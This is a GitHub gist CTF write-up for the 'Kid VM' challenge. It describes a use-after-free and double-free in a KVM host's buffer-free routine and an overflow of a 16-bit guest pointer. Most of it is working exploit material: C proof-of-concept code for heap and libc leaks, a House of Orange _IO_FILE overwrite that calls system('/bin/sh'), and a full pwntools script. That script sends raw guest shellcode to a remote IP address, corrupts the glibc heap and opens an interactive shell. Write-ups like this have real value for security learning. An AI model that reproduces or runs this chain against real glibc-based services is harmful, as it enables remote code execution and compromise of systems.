Skip to content

Instantly share code, notes, and snippets.

@vladvis
Created July 30, 2018 23:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vladvis/7d86c4d629fb13dce0e9669a88005be7 to your computer and use it in GitHub Desktop.
Save vladvis/7d86c4d629fb13dce0e9669a88005be7 to your computer and use it in GitHub Desktop.

Kid VM write-up

  • Original executable loads 16-bit code to KVM and starts execute it.
  • Host process provides I/O interface and interface for memory management on host using vmcall and port I/O.
  • Guest can allocate, free and update memory buffers on host and in itself address space.
  • Host memory management interface is insecure, so it allows to free memory without nullification ptr and size. As result guest can trigger use-after-free and double-free.
void __fastcall free_buffer(__int16 mode, unsigned __int16 index)
{
    if ( index <= 0x10u )
    {
        switch ( mode )
        {
        case 2:
            free(buf_pointers[index]);
            buf_pointers[index] = 0LL;
            --buf_counter;
            break;
        case 3: // guest send 3 by default
            free(buf_pointers[index]);
            buf_pointers[index] = 0LL;
            buf_sizes[index] = 0;
            --buf_counter;
            break;
        case 1:
            free(buf_pointers[index]);
            break;
        }
    }
    else
    {
        perror("Index out of bound!");
    }
}
  • We can trigger RCE in guest by allocating multiple buffer and thus overflowing 16-bit pointer.
guest_code:196F                 mov     cx, word ptr total_allocated
guest_code:1973                 cmp     cx, 0B000h
guest_code:1977                 ja      short loc_19AD
guest_code:1979                 mov     si, word ptr total_buffers
guest_code:197D                 cmp     si, 10h
guest_code:1980                 jnb     short loc_19B8
guest_code:1982                 mov     di, cx
guest_code:1984                 add     cx, 5000h
// cx - allocated address, so if total_allocated equals 0xB000 then we got nullptr
  • Now we call update_buffer (it copies memory from host to guest and vice versa) and free_buffer with any modifiers
  • At this moment we can trigger use-after-free vulnerability to leak heap start address. For simplicity, PoC code given in C:
void* p1 = malloc(0x500); // must be the first use of malloc in program
char* p2 = malloc(0x100);
free(p1);
char* p3 = malloc(0x400);
void* heap_ptr = *((void **)p1+3); // leaked heap address
  • Also, we can leak libc main_arena address by exploiting use-after-free:
char* p1 = malloc(0x100);
char* p2 = malloc(0x100);
free(p1);
free(p2);
char* p3 = malloc(0x100); // don't trigger malloc assertions
free(p1);

void* arena_top = *(void **)p3;
// now we know libc start address by subtracting offset of main_arena symbol
  • Given heap address and libc start address we can call system("/bin/bash") by some magic inspired by House of Orange exploit by Shellphish:
void* heap_ptr = ...;

/* don't forget to cleanup all previous mallocs
 * otherwise heap_ptr + 0x10 != p1 */
p1 = malloc(0x400 - 16);

/* get pointer to malloc top_chunk in arena */
size_t* top = (size_t *) (p1 + 0x400 - 16);

/* rewrite its size and set PREV_INUSE bit */
top[1] = 0xc01;

/* malloc should allocate new page to service this call
 * due to corruption of top_chunk size 
 * then frees old top_chunk and places it to unsorted bin */
p2 = malloc(0x1000);

/* we know address of _IO_list_all (which is linked list of _IO_FILE)
 * set top->bk to address we want override */
top[3] = _IO_list_all_addr - 0x10;

/* copy payload, it will be passed as argument to a function */
memcpy(top, "/bin/sh\x00", 8);

/* overwrite size of chunk again to get in smallbin-4 (read below why) */
top[1] = 0x61;

/* _IO_FILE structure hacking */
char* t = top;
*(int*)(t + 0xc0) = 0;
*(size_t*)(t + 0x20) = 2;
*(size_t*)(t + 0x28) = 3;
size_t* vtable = &top[12];
vtable[3] = &system;
*(size_t*)(t + 0xd8) = vtable;

/* since top_chunk is stored in unsorted bin and doesn't fit to this call
 * malloc will unlink top_chunk and thus overrides top_chunk->bk 
 * (which is _IO_list_all) to unsorted-bin address
 * We need to overwrite _IO_file->_chain (which is next file) to our top
 * so pointer to top must be at offset 0x68
 * which corresponds to smallbin-4.
 * After all of this malloc check state in _int_malloc and then aborts. 
 * Abort itself calls _IO_flush_all which then calls overflow callback
 * on all files from _IO_list_all thus calling
 * our evil code.  
*/
malloc(0x100);

  • Final exploit which combines both guest and host exploits:
from pwn import *

p = remote('34.236.229.208', 9999)

# we save print and read functions on guest
good_funcs = '\x51\x52\x56\x89\xD9\x89\xC6\x8A\x04\xE6\x17\x46\xE2\xF9\x5E\x5A\x59\xC3\x51\x52\x56\x89\xD9\x89\xC6\xE4\x17\x88\x04\x46\xE2\xF9\x5E\x5A\x59\xC3'

def free_host(index):
    return '\x68\x00\x01\x9D' + '\xb8' + p16(0x101) + '\xbb' + p16(0x1) + '\xb1' + p8(index) + '\x0f\x01\xc1'

def malloc_host(size):
    return '\x68\x00\x01\x9D' + '\xb8' + p16(0x100) + '\xbb' + p16(size) + '\x0f\x01\xc1'

def update_back(index, size):
    return '\x68\x00\x01\x9D' + '\xb8' + p16(0x102) + '\xbb\x02\x00' + '\xb1' + p8(index) + '\xba' + p16(size) + '\x0f\x01\xc1'

def update_forward(index, size):
    return '\x68\x00\x01\x9D' + '\xb8' + p16(0x102) + '\xbb\x01\x00' + '\xb1' + p8(index) + '\xba' + p16(size) + '\x0f\x01\xc1'

#p.write(('1' + p16(0x1000))*11 + '1' + p16(len(payload)))

#p.write('2' + '\x0c' + payload)
print_addr = 0x01F3
base_addr = 0x0122
read_addr = 0x0205

payload = '\xcc'*(0x122)
payload += malloc_host(0x500) # 0
payload += malloc_host(0x100) # 1
payload += free_host(0)
payload += update_back(0, 8)

payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(8)      # mov bx, 8
payload += '\xe8' + p16(print_addr - len(payload) - 3) # call print_string

payload += malloc_host(0x400) # 2
payload += update_back(0, 32)

payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(32)      # mov bx, 8
payload += '\xe8' + p16(print_addr - len(payload) - 3) # call print_string

payload += free_host(2)
payload += free_host(1)
payload += malloc_host(0x400 - 16)


payload += update_back(0, 0x400)

payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(0x400)      # mov bx, 8
payload += '\xe8' + p16(print_addr - len(payload) - 3) # call print_string

payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(0x400)      # mov bx, 8
payload += '\xe8' + p16(read_addr - len(payload) - 3) # call read_string

payload += update_forward(0, 0x400)

payload +='\x90\x90'

payload += '\xeb'+p8(len(good_funcs))
print (len(payload) == print_addr)
payload += good_funcs

payload += malloc_host(0x1000) # 3

payload += update_back(0, 0x500)

payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(0x500)      # mov bx, 8
payload += '\xe8' + p16(print_addr - len(payload) - 3 + 0x10000) # call print_string

payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(0x500)      # mov bx, 8
payload += '\xe8' + p16(read_addr - len(payload) - 3 + 0x10000) # call read_string

payload += update_forward(0, 0x500)

payload += malloc_host(0x100)

for i in xrange(11):
    p.write('1' + p16(0x1000))
    p.recvuntil('Your choice:')

p.write('1' + p16(len(payload)))
p.recvuntil('Your choice:')

p.write('2' + '\x0b' + payload)
p.recvuntil('Your choice:')
p.recvuntil('Content:')

arena_top = ''

while len(arena_top) != 8:
    arena_top += p.recv(8-len(arena_top))

arena_top = u64(arena_top)

libc_base = arena_top - 0x3C4B78
system_addr = libc_base + 0x45390
some_trash = ''
while len(some_trash) != 32:
    some_trash += p.recv(32 - len(some_trash))
heap_ptr = u64(some_trash[24:])

p1 = heap_ptr + 0x10
top_offset = 0x400 - 16

print hex(heap_ptr)

malloc_hook = arena_top - 0x68

p1buf = ''

while len(p1buf) != 0x400:
    p1buf += p.recv(0x400 - len(p1buf))

p1buf = p1buf[:0x400-8] + p64(0xc01)

p.write(p1buf)

p2buf = ''
while len(p2buf) != 0x500:
    p2buf += p.recv(0x500 - len(p2buf))

io_list_all_offset = top_offset + 2*8
io_list_all = u64(p2buf[io_list_all_offset:io_list_all_offset+8]) + 0x9a8
p2buf = p2buf[:top_offset + 3*8] + p64(io_list_all - 0x10) + p2buf[top_offset + 4*8:]
p2buf = p2buf[:top_offset] + '/bin/sh\x00' + p2buf[top_offset + 8:]
p2buf = p2buf[:top_offset + 8] + p64(0x61) + p2buf[top_offset + 2*8:]

p2buf = p2buf[:top_offset + 0xc0] + p32(0) + p2buf[top_offset + 0xc4:]
p2buf = p2buf[:top_offset + 0x20] + p64(2) + p2buf[top_offset + 0x28:]
p2buf = p2buf[:top_offset + 0x28] + p64(3) + p2buf[top_offset + 0x30:]

jump_table_offset = top_offset + 12*8
p2buf = p2buf[:jump_table_offset + 3*8] + p64(system_addr) + p2buf[jump_table_offset + 4*8:]
p2buf = p2buf[:top_offset + 0xd8] + p64(p1 + jump_table_offset) + p2buf[top_offset + 0xe0:]

print(len(p2buf) == 0x500)

p.write(p2buf)

p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment